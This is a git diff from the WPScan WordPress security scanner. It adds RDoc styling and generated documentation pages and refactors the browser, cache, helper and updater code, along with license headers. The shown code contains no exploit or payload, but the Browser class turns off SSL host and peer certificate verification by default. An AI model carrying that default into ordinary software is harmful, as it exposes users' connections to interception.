+.indexpage ol > li,
+.file #documentation ol > li {
+  padding-left: 0;
+}
+
+.indexpage ul > li,
+.file #documentation ul > li {
+  background: url(images/bullet_black.png) no-repeat left 4px;
+}
+.indexpage li.module {
+  background: url(images/package.png) no-repeat left 4px;
+}
+.indexpage li.class {
+  background: url(images/ruby.png) no-repeat left 4px;
+}
+.indexpage li.file {
+  background: url(images/page_white_text.png) no-repeat left 4px;
+}
+.file li p,
+.indexpage li p {
+  margin: 0 0;
+}
+
+/* @end */
+
+/* @group Top-Level Structure */
+
+.class #metadata,
+.file #metadata,
+.module #metadata {
+  float: left;
+  width: 260px;
+}
+
+.class #documentation,
+.file #documentation,
+.module #documentation {
+  margin: 2em 1em 5em 300px;
+  min-width: 340px;
+}
+
+.file #metadata {
+  margin: 0.8em;
+}
+
+#validator-badges {
+  clear: both;
+  margin: 1em 1em 2em;
+}
+
+/* @end */
+
+/* @group Metadata Section */
+#metadata .section {
+  background-color: #dedede;
+  -moz-border-radius: 5px;
+  -webkit-border-radius: 5px;
+  border: 1px solid #aaa;
+  margin: 0 8px 16px;
+  font-size: 90%;
+  overflow: hidden;
+}
+#metadata h3.section-header {
+  margin: 0;
+  padding: 2px 8px;
+  background: #ccc;
+  color: #666;
+  -moz-border-radius-topleft: 4px;
+  -moz-border-radius-topright: 4px;
+  -webkit-border-top-left-radius: 4px;
+  -webkit-border-top-right-radius: 4px;
+  border-bottom: 1px solid #aaa;
+}
+#metadata #home-section h3.section-header {
+  border-bottom: 0;
+}
+
+#metadata ul,
+#metadata dl,
+#metadata p {
+  padding:  8px;
+  list-style: none;
+}
+
+#file-metadata ul {
+  padding-left: 28px;
+  list-style-image: url(images/page_green.png);
+}
+
+dl.svninfo {
+  color: #666;
+  margin: 0;
+}
+dl.svninfo dt {
+  font-weight: bold;
+}
+
+ul.link-list li {
+  white-space: nowrap;
+}
+ul.link-list .type {
+  font-size: 8px;
+  text-transform: uppercase;
+  color: white;
+  background: #969696;
+  padding: 2px 4px;
+  -webkit-border-radius: 5px;
+}
+
+/* @end */
+
+
+/* @group Project Metadata Section */
+#project-metadata {
+  margin-top: 3em;
+}
+
+.file #project-metadata {
+  margin-top: 0em;
+}
+
+#project-metadata .section {
+  border: 1px solid #aaa;
+}
+#project-metadata h3.section-header {
+  border-bottom: 1px solid #aaa;
+  position: relative;
+}
+#project-metadata h3.section-header .search-toggle {
+  position: absolute;
+  right: 5px;
+}
+
+
+#project-metadata form {
+  color: #777;
+  background: #ccc;
+  padding: 8px 8px 16px;
+  border-bottom: 1px solid #bbb;
+}
+#project-metadata fieldset {
+  border: 0;
+}
+
+#no-class-search-results {
+  margin: 0 auto 1em;
+  text-align: center;
+  font-size: 14px;
+  font-weight: bold;
+  color: #aaa;
+}
+
+/* @end */
+
+
+/* @group Documentation Section */
+.description {
+  font-size: 100%;
+  color: #333;
+}
+
+.description p {
+  margin: 1em 0.4em;
+}
+
+.description li p {
+  margin: 0;
+}
+
+.description ul {
+  margin-left: 1.5em;
+}
+.description ul li {
+  line-height: 1.4em;
+}
+
+.description dl,
+#documentation dl {
+  margin: 8px 1.5em;
+  border: 1px solid #ccc;
+}
+.description dl {
+  font-size: 14px;
+}
+
+.description dt,
+#documentation dt {
+  padding: 2px 4px;
+  font-weight: bold;
+  background: #ddd;
+}
+.description dd,
+#documentation dd  {
+  padding: 2px 12px;
+}
+.description dd + dt,
+#documentation dd + dt {
+  margin-top: 0.7em;
+}
+
+#documentation .section {
+  font-size: 90%;
+}
+
+#documentation h2.section-header {
+  margin-top: 2em;
+  padding: 0.75em 0.5em;
+  background: #ccc;
+  color: #333;
+  font-size: 175%;
+  border: 1px solid #bbb;
+  -moz-border-radius: 3px;
+  -webkit-border-radius: 3px;
+}
+
+#documentation h3.section-header {
+  margin-top: 2em;
+  padding: 0.25em 0.5em;
+  background-color: #dedede;
+  color: #333;
+  font-size: 150%;
+  border: 1px solid #bbb;
+  -moz-border-radius: 3px;
+  -webkit-border-radius: 3px;
+}
+
+#constants-list > dl,
+#attributes-list > dl {
+  margin: 1em 0 2em;
+  border: 0;
+}
+#constants-list > dl dt,
+#attributes-list > dl dt {
+  padding-left: 0;
+  font-weight: bold;
+  font-family: Monaco, "Andale Mono";
+  background: inherit;
+}
+#constants-list > dl dt a,
+#attributes-list > dl dt a {
+  color: inherit;
+}
+#constants-list > dl dd,
+#attributes-list > dl dd {
+  margin: 0 0 1em 0;
+  padding: 0;
+  color: #666;
+}
+
+.documentation-section h2 {
+  position: relative;
+}
+
+.documentation-section h2 a {
+  position: absolute;
+  top: 8px;
+  right: 10px;
+  font-size: 12px;
+  color: #9b9877;
+  visibility: hidden;
+}
+
+.documentation-section h2:hover a {
+  visibility: visible;
+}
+
+/* @group Method Details */
+
+#documentation .method-source-code {
+  display: none;
+}
+
+#documentation .method-detail {
+  margin: 0.5em 0;
+  padding: 0.5em 0;
+  cursor: pointer;
+}
+#documentation .method-detail:hover {
+  background-color: #f1edba;
+}
+#documentation .method-heading {
+  position: relative;
+  padding: 2px 4px 0 20px;
+  font-size: 125%;
+  font-weight: bold;
+  color: #333;
+  background: url(images/brick.png) no-repeat left bottom;
+}
+#documentation .method-heading :link,
+#documentation .method-heading :visited {
+  color: inherit;
+}
+#documentation .method-click-advice {
+  position: absolute;
+  top: 2px;
+  right: 5px;
+  font-size: 10px;
+  color: #9b9877;
+  visibility: hidden;
+  padding-right: 20px;
+  line-height: 20px;
+  background: url(images/zoom.png) no-repeat right top;
+}
+#documentation .method-detail:hover .method-click-advice {
+  visibility: visible;
+}
+
+#documentation .method-alias .method-heading {
+  color: #666;
+  background: url(images/brick_link.png) no-repeat left bottom;
+}
+
+#documentation .method-description,
+#documentation .aliases {
+  margin: 0 20px;
+  color: #666;
+}
+
+#documentation .method-description p,
+#documentation .aliases p {
+  line-height: 1.2em;
+}
+
+#documentation .aliases {
+  padding-top: 4px;
+  font-style: italic;
+  cursor: default;
+}
+#documentation .method-description p {
+  padding: 0;
+}
+#documentation .method-description p + p {
+  margin-bottom: 0.5em;
+}
+#documentation .method-description ul {
+  margin-left: 1.5em;
+}
+
+#documentation .attribute-method-heading {
+  background: url(images/tag_green.png) no-repeat left bottom;
+}
+#documentation #attribute-method-details .method-detail:hover {
+  background-color: transparent;
+  cursor: default;
+}
+#documentation .attribute-access-type {
+  font-size: 60%;
+  text-transform: uppercase;
+  vertical-align: super;
+  padding: 0 2px;
+}
+/* @end */
+
+/* @end */
+
+
+
+/* @group Source Code */
+
+div.method-source-code {
+  background: #262626;
+  color: #efefef;
+  margin: 1em;
+  padding: 0.5em;
+  border: 1px dashed #999;
+  overflow: hidden;
+}
+
+div.method-source-code pre {
+  background: inherit;
+  padding: 0;
+  color: white;
+  overflow: auto;
+}
+
+/* @group Ruby keyword styles */
+
+.ruby-constant   { color: #7fffd4; background: transparent; }
+.ruby-keyword    { color: #00ffff; background: transparent; }
+.ruby-ivar       { color: #eedd82; background: transparent; }
+.ruby-operator   { color: #00ffee; background: transparent; }
+.ruby-identifier { color: #ffdead; background: transparent; }
+.ruby-node       { color: #ffa07a; background: transparent; }
+.ruby-comment    { color: #b22222; font-weight: bold; background: transparent; }
+.ruby-regexp     { color: #ffa07a; background: transparent; }
+.ruby-value      { color: #7fffd4; background: transparent; }
+
+/* @end */
+/* @end */
+
+
+/* @group File Popup Contents */
+
+.file #metadata,
+.file-popup #metadata {
+}
+
+.file-popup dl {
+  font-size: 80%;
+  padding: 0.75em;
+  background-color: #dedede;
+  color: #333;
+  border: 1px solid #bbb;
+  -moz-border-radius: 3px;
+  -webkit-border-radius: 3px;
+}
+.file dt {
+  font-weight: bold;
+  padding-left: 22px;
+  line-height: 20px;
+  background: url(images/page_white_width.png) no-repeat left top;
+}
+.file dt.modified-date {
+  background: url(images/date.png) no-repeat left top;
+}
+.file dt.requires {
+  background: url(images/plugin.png) no-repeat left top;
+}
+.file dt.scs-url {
+  background: url(images/wrench.png) no-repeat left top;
+}
+
+.file dl dd {
+  margin: 0 0 1em 0;
+}
+.file #metadata dl dd ul {
+  list-style: circle;
+  margin-left: 20px;
+  padding-top: 0;
+}
+.file #metadata dl dd ul li {
+}
+
+
+.file h2 {
+  margin-top: 2em;
+  padding: 0.75em 0.5em;
+  background-color: #dedede;
+  color: #333;
+  font-size: 120%;
+  border: 1px solid #bbb;
+  -moz-border-radius: 3px;
+  -webkit-border-radius: 3px;
+}
+
+/* @end */
+
+
+
+
+/* @group ThickBox Styles */
+#TB_window {
+  font: 12px Arial, Helvetica, sans-serif;
+  color: #333333;
+}
+
+#TB_secondLine {
+  font: 10px Arial, Helvetica, sans-serif;
+  color:#666666;
+}
+
+#TB_window :link,
+#TB_window :visited        { color: #666666; }
+#TB_window :link:hover,
+#TB_window :visited:hover  { color: #000;    }
+#TB_window :link:active,
+#TB_window :visited:active { color: #666666; }
+#TB_window :link:focus,
+#TB_window :visited:focus  { color: #666666; }
+
+#TB_overlay {
+  position: fixed;
+  z-index:100;
+  top: 0px;
+  left: 0px;
+  height:100%;
+  width:100%;
+}
+
+.TB_overlayMacFFBGHack {background: url(images/macFFBgHack.png) repeat;}
+.TB_overlayBG {
+  background-color:#000;
+  filter:alpha(opacity=75);
+  -moz-opacity: 0.75;
+  opacity: 0.75;
+}
+
+* html #TB_overlay { /* ie6 hack */
+  position: absolute;
+  height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
+}
+
+#TB_window {
+  position: fixed;
+  background: #ffffff;
+  z-index: 102;
+  color:#000000;
+  display:none;
+  border: 4px solid #525252;
+  text-align:left;
+  top:50%;
+  left:50%;
+}
+
+* html #TB_window { /* ie6 hack */
+  position: absolute;
+  margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
+}
+
+#TB_window img#TB_Image {
+  display:block;
+  margin: 15px 0 0 15px;
+  border-right: 1px solid #ccc;
+  border-bottom: 1px solid #ccc;
+  border-top: 1px solid #666;
+  border-left: 1px solid #666;
+}
+
+#TB_caption{
+  height:25px;
+  padding:7px 30px 10px 25px;
+  float:left;
+}
+
+#TB_closeWindow{
+  height:25px;
+  padding:11px 25px 10px 0;
+  float:right;
+}
+
+#TB_closeAjaxWindow{
+  padding:7px 10px 5px 0;
+  margin-bottom:1px;
+  text-align:right;
+  float:right;
+}
+
+#TB_ajaxWindowTitle{
+  float:left;
+  padding:7px 0 5px 10px;
+  margin-bottom:1px;
+  font-size: 22px;
+}
+
+#TB_title{
+  background-color: #6C8C22;
+  color: #dedede;
+  height:40px;
+}
+#TB_title :link,
+#TB_title :visited {
+  color: white !important;
+  border-bottom: 1px dotted #dedede;
+}
+
+#TB_ajaxContent{
+  clear:both;
+  padding:2px 15px 15px 15px;
+  overflow:auto;
+  text-align:left;
+  line-height:1.4em;
+}
+
+#TB_ajaxContent.TB_modal{
+  padding:15px;
+}
+
+#TB_ajaxContent p{
+  padding:5px 0px 5px 0px;
+}
+
+#TB_load{
+  position: fixed;
+  display:none;
+  height:13px;
+  width:208px;
+  z-index:103;
+  top: 50%;
+  left: 50%;
+  margin: -6px 0 0 -104px; /* -height/2 0 0 -width/2 */
+}
+
+* html #TB_load { /* ie6 hack */
+  position: absolute;
+  margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px');
+}
+
+#TB_HideSelect{
+  z-index:99;
+  position:fixed;
+  top: 0;
+  left: 0;
+  background-color:#fff;
+  border:none;
+  filter:alpha(opacity=0);
+  -moz-opacity: 0;
+  opacity: 0;
+  height:100%;
+  width:100%;
+}
+
+* html #TB_HideSelect { /* ie6 hack */
+  position: absolute;
+  height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px');
+}
+
+#TB_iframeContent{
+  clear:both;
+  border:none;
+  margin-bottom:-1px;
+  margin-top:1px;
+  _margin-bottom:1px;
+}
+
+/* @end */
+
+/* @group Debugging Section */
+
+#debugging-toggle {
+  text-align: center;
+}
+#debugging-toggle img {
+  cursor: pointer;
+}
+
+#rdoc-debugging-section-dump {
+  display: none;
+  margin: 0 2em 2em;
+  background: #ccc;
+  border: 1px solid #999;
+}
+
+
+
+/* @end */
diff --git a/doc/wpscan_rb.html b/doc/wpscan_rb.html
new file mode 100644
index 00000000..7e78a657
--- /dev/null
+++ b/doc/wpscan_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wpscan.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="./rdoc.css" rel="stylesheet" />
+
+  <script src="./js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-24 22:53:35 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/doc/wpstools_rb.html b/doc/wpstools_rb.html
new file mode 100644
index 00000000..9a7054e5
--- /dev/null
+++ b/doc/wpstools_rb.html
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>File: wpstools.rb [RDoc Documentation]</title>
+
+  <link type="text/css" media="screen" href="./rdoc.css" rel="stylesheet" />
+
+  <script src="./js/jquery.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript"
+    charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript"
+    charset="utf-8"></script>
+</head>
+
+<body class="file file-popup">
+  <div id="metadata">
+    <dl>
+      <dt class="modified-date">Last Modified</dt>
+      <dd class="modified-date">2012-09-22 14:59:30 +0200</dd>
+
+      
+      <dt class="requires">Requires</dt>
+      <dd class="requires">
+        <ul>
+        
+        </ul>
+      </dd>
+      
+
+      
+    </dl>
+  </div>
+
+  <div id="documentation">
+    
+    <div class="description">
+      <h2>Description</h2>
+      
+    </div>
+    
+  </div>
+</body>
+</html>
+
diff --git a/generate_rdoc.sh b/generate_rdoc.sh
new file mode 100755
index 00000000..39a043bd
--- /dev/null
+++ b/generate_rdoc.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+rdoc -x cache/ -x spec/ -x data/ -x coverage/ -x doc/
diff --git a/lib/browser.rb b/lib/browser.rb
index 31845e42..9daae9b7 100644
--- a/lib/browser.rb
+++ b/lib/browser.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,26 +14,23 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-# ryandewhurst at gmail
-#
+#++
 
 class Browser
   @@instance = nil
-  @@user_agent_modes = ["static", "semi-static", "random"]
+  USER_AGENT_MODES = %w{ static semi-static random }
 
   ACCESSOR_OPTIONS = [
-    :user_agent,
-    :user_agent_mode,
-    :available_user_agents,
-    :proxy,
-    :max_threads,
-    :cache_timeout,
-    :request_timeout,
-    :variables_to_replace_in_url
+      :user_agent,
+      :user_agent_mode,
+      :available_user_agents,
+      :proxy,
+      :max_threads,
+      :cache_timeout,
+      :request_timeout
   ]
 
-  attr_reader   :hydra, :config_file
+  attr_reader :hydra, :config_file
   attr_accessor *ACCESSOR_OPTIONS
 
   def initialize(options = {})
@@ -55,6 +52,7 @@ class Browser
     # might be in CacheFileStore
     setup_cache_handlers
   end
+
   private_class_method :new
 
   def self.instance(options = {})
@@ -71,7 +69,7 @@ class Browser
   def user_agent_mode=(ua_mode)
     ua_mode ||= "static"
 
-    if @@user_agent_modes.include?(ua_mode)
+    if USER_AGENT_MODES.include?(ua_mode)
       @user_agent_mode = ua_mode
       # For semi-static user agent mode, the user agent has to be nil the first time (it will be set with the getter)
       @user_agent = nil if ua_mode === "semi-static"
@@ -83,12 +81,12 @@ class Browser
   # return the user agent, according to the user_agent_mode
   def user_agent
     case @user_agent_mode
-    when "semi-static"
-      unless @user_agent
+      when "semi-static"
+        unless @user_agent
+          @user_agent = @available_user_agents.sample
+        end
+      when "random"
         @user_agent = @available_user_agents.sample
-      end
-    when "random"
-      @user_agent = @available_user_agents.sample
     end
     @user_agent
   end
@@ -116,9 +114,9 @@ class Browser
   def setup_cache_handlers
     @hydra.cache_setter do |request|
       @cache.write_entry(
-        Browser.generate_cache_key_from_request(request),
-        request.response,
-        request.cache_timeout
+          Browser.generate_cache_key_from_request(request),
+          request.response,
+          request.cache_timeout
       )
     end
 
@@ -126,48 +124,38 @@ class Browser
       @cache.read_entry(Browser.generate_cache_key_from_request(request)) rescue nil
     end
   end
+
   private :setup_cache_handlers
 
   def get(url, params = {})
     run_request(
-      forge_request(url, params.merge(:method => :get))
+        forge_request(url, params.merge(:method => :get))
     )
   end
 
   def post(url, params = {})
     run_request(
-      forge_request(url, params.merge(:method => :post))
+        forge_request(url, params.merge(:method => :post))
     )
   end
 
   def forge_request(url, params = {})
     Typhoeus::Request.new(
-      replace_variables_in_url(url),
-      merge_request_params(params)
+        url.to_s,
+        merge_request_params(params)
     )
   end
 
-  # return string
-  def replace_variables_in_url(url)
-    @variables_to_replace_in_url ||= {}
-
-    @variables_to_replace_in_url.each do |subject, replacement|
-      url.gsub!(subject, replacement)
-    end
-    url
-  end
-  protected :replace_variables_in_url
-
   def merge_request_params(params = {})
     if @proxy
       params = params.merge(:proxy => @proxy)
     end
 
-    if !params.has_key?(:disable_ssl_host_verification)
+    unless params.has_key?(:disable_ssl_host_verification)
       params = params.merge(:disable_ssl_host_verification => true)
     end
 
-    if !params.has_key?(:disable_ssl_peer_verification)
+    unless params.has_key?(:disable_ssl_peer_verification)
       params = params.merge(:disable_ssl_peer_verification => true)
     end
 
@@ -178,7 +166,7 @@ class Browser
     end
 
     # Used to enable the cache system if :cache_timeout > 0
-    if !params.has_key?(:cache_timeout)
+    unless params.has_key?(:cache_timeout)
       params = params.merge(:cache_timeout => @cache_timeout)
     end
 
diff --git a/lib/cache_file_store.rb b/lib/cache_file_store.rb
index 149788e8..d6914e19 100644
--- a/lib/cache_file_store.rb
+++ b/lib/cache_file_store.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 #
 # => @todo take consideration of the cache_timeout :
 #      -> create 2 files per key : one for the data storage (key.store ?) and the other for the cache timeout (key.expiration, key.timeout ?)
@@ -15,10 +33,10 @@ class CacheFileStore
   # Marshal does not need any "require"
   def initialize(storage_path, serializer = Marshal)
     @storage_path = File.expand_path(storage_path)
-    @serializer   = serializer
+    @serializer = serializer
 
     # File.directory? for ruby <= 1.9 otherwise, it makes more sense to do Dir.exist? :/
-    if !File.directory?(@storage_path)
+    unless File.directory?(@storage_path)
       Dir.mkdir(@storage_path)
     end
   end
@@ -38,7 +56,7 @@ class CacheFileStore
   end
 
   def write_entry(key, data_to_store, cache_timeout)
-    if (cache_timeout > 0)
+    if cache_timeout > 0
       File.open(get_entry_file_path(key), 'w') do |f|
         f.write(@serializer.dump(data_to_store))
       end
diff --git a/lib/common_helper.rb b/lib/common_helper.rb
index cf1ccd77..99deb549 100644
--- a/lib/common_helper.rb
+++ b/lib/common_helper.rb
@@ -1,12 +1,29 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
 
-LIB_DIR = File.dirname(__FILE__)
-ROOT_DIR = File.expand_path(LIB_DIR + '/..') # expand_path is used to get "wpscan/" instead of "wpscan/lib/../"
-DATA_DIR = ROOT_DIR + "/data"
-CONF_DIR = ROOT_DIR + "/conf"
-CACHE_DIR = ROOT_DIR + "/cache"
-WPSCAN_LIB_DIR = LIB_DIR + "/wpscan"
-WPSTOOLS_LIB_DIR = LIB_DIR + "/wpstools"
-UPDATER_LIB_DIR = LIB_DIR + "/updater"
+LIB_DIR           = File.dirname(__FILE__)
+ROOT_DIR          = File.expand_path(LIB_DIR + '/..') # expand_path is used to get "wpscan/" instead of "wpscan/lib/../"
+DATA_DIR          = ROOT_DIR + "/data"
+CONF_DIR          = ROOT_DIR + "/conf"
+CACHE_DIR         = ROOT_DIR + "/cache"
+WPSCAN_LIB_DIR    = LIB_DIR + "/wpscan"
+WPSTOOLS_LIB_DIR  = LIB_DIR + "/wpstools"
+UPDATER_LIB_DIR   = LIB_DIR + "/updater"
 
 WPSCAN_VERSION = "2.0"
 
@@ -34,6 +51,31 @@ def add_trailing_slash(url)
   url
 end
 
+# Gets the string all elements in stringarray ends with
+def get_equal_string_end(stringarray = [""])
+  already_found = ""
+  looping = true
+  counter = -1
+  if stringarray.kind_of? Array and stringarray.length > 1
+    base = stringarray[0]
+    while looping
+      character = base[counter, 1]
+      stringarray.each do |s|
+        if s[counter, 1] != character
+          looping = false
+          break
+        end
+      end
+      if looping == false or (counter * -1) > base.length
+        break
+      end
+      already_found = "#{character if character}#{already_found}"
+      counter -= 1
+    end
+  end
+  already_found
+end
+
 if RUBY_VERSION < "1.9"
   class Array
     # Fix for grep with symbols in ruby <= 1.8.7
@@ -45,6 +87,7 @@ if RUBY_VERSION < "1.9"
       end
       matches
     end
+
     alias_method :grep, :_grep_
   end
 end
@@ -78,3 +121,15 @@ def banner()
     puts
   end
 end
+
+def colorize(text, color_code)
+  "\e[#{color_code}m#{text}\e[0m"
+end
+
+def red(text)
+  colorize(text, 31)
+end
+
+def green(text)
+  colorize(text, 32)
+end
diff --git a/lib/environment.rb b/lib/environment.rb
index f4e63b67..b628b8dd 100644
--- a/lib/environment.rb
+++ b/lib/environment.rb
@@ -1,3 +1,21 @@
+#--
+# WPScan - WordPress Security Scanner
+# Copyright (C) 2012
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program.  If not, see <http://www.gnu.org/licenses/>.
+#++
+
 begin
   # Standard libs
   require 'rubygems'
@@ -22,7 +40,8 @@ begin
 rescue LoadError => e
   puts "[ERROR] #{e}"
 
-  if missing_gem = e.to_s[%r{ -- ([^\s]+)}, 1]
+  missing_gem = e.to_s[%r{ -- ([^\s]+)}, 1]
+  if missing_gem
     puts "[TIP] Try to run 'gem install #{missing_gem}' or 'gem install --user-install #{missing_gem}'. If you still get an error, Please see README file or https://github.com/wpscanteam/wpscan"
   end
   exit(1)
diff --git a/lib/updater/git_updater.rb b/lib/updater/git_updater.rb
index ae7e3f01..7c8ce418 100644
--- a/lib/updater/git_updater.rb
+++ b/lib/updater/git_updater.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 require File.expand_path(File.dirname(__FILE__) + '/updater')
 
diff --git a/lib/updater/svn_updater.rb b/lib/updater/svn_updater.rb
index 02d850c7..3388209a 100644
--- a/lib/updater/svn_updater.rb
+++ b/lib/updater/svn_updater.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,26 +14,26 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 require File.expand_path(File.dirname(__FILE__) + '/updater')
 
 class SvnUpdater < Updater
 
-  @@revision_pattern = /revision="(\d+)"/i
-  @@trunk_url        = "https://wpscan.googlecode.com/svn/trunk"
+  REVISION_PATTERN = /revision="(\d+)"/i
+  TRUNK_URL = "https://github.com/wpscanteam/wpscan"
 
   def is_installed?
-    %x[svn info "#{@repo_directory}" --xml 2>&1] =~ /revision=/ ? true : false
+    %x[svn info "#@repo_directory" --xml 2>&1] =~ /revision=/ ? true : false
   end
 
   def local_revision_number
-    local_revision = %x[svn info "#{@repo_directory}" --xml 2>&1]
-    local_revision[@@revision_pattern, 1].to_s
+    local_revision = %x[svn info "#@repo_directory" --xml 2>&1]
+    local_revision[REVISION_PATTERN, 1].to_s
   end
 
   def update
-    %x[svn up "#{@repo_directory}"]
+    %x[svn up "#@repo_directory"]
   end
 
 end
diff --git a/lib/updater/updater.rb b/lib/updater/updater.rb
index d7d2fb57..683ff125 100644
--- a/lib/updater/updater.rb
+++ b/lib/updater/updater.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 # This class act as an absract one
 class Updater
diff --git a/lib/updater/updater_factory.rb b/lib/updater/updater_factory.rb
index da472feb..8ff0e5ab 100644
--- a/lib/updater/updater_factory.rb
+++ b/lib/updater/updater_factory.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -14,7 +14,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
+#++
 
 class UpdaterFactory
 
diff --git a/lib/wpscan/exploit.rb b/lib/wpscan/exploit.rb
index d91b2d6b..b5ecabc3 100644
--- a/lib/wpscan/exploit.rb
+++ b/lib/wpscan/exploit.rb
@@ -1,8 +1,8 @@
 #!/usr/bin/env ruby
 
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
+# Copyright (C) 2012
 #
 # This program is free software: you can redistribute it and/or modify
 # it under the terms of the GNU General Public License as published by
@@ -16,9 +16,7 @@
 #
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-# ryandewhurst at gmail
-#
+#++
 
 # This library should contain all methods for exploitation.
 
@@ -76,7 +74,7 @@ class Exploit
       session_spawn_timer = Time.new
       while sessions.nil? or sessions.empty?
         # wait for a session to spawn with a timeout of 1 minute
-        if (Time.now - session_spawn_timer > 60)
+        if Time.now - session_spawn_timer > 60
           puts "[ERROR] Session was not created... exiting."
           return false
         end
diff --git a/lib/wpscan/modules/brute_force.rb b/lib/wpscan/modules/brute_force.rb
index 6fa3f4d7..3ca50066 100644
--- a/lib/wpscan/modules/brute_force.rb
+++ b/lib/wpscan/modules/brute_force.rb
@@ -1,6 +1,6 @@
-#
+#--
 # WPScan - WordPress Security Scanner
-# Copyright (C) 2011  Ryan Dewhurst AKA ethicalhack3r
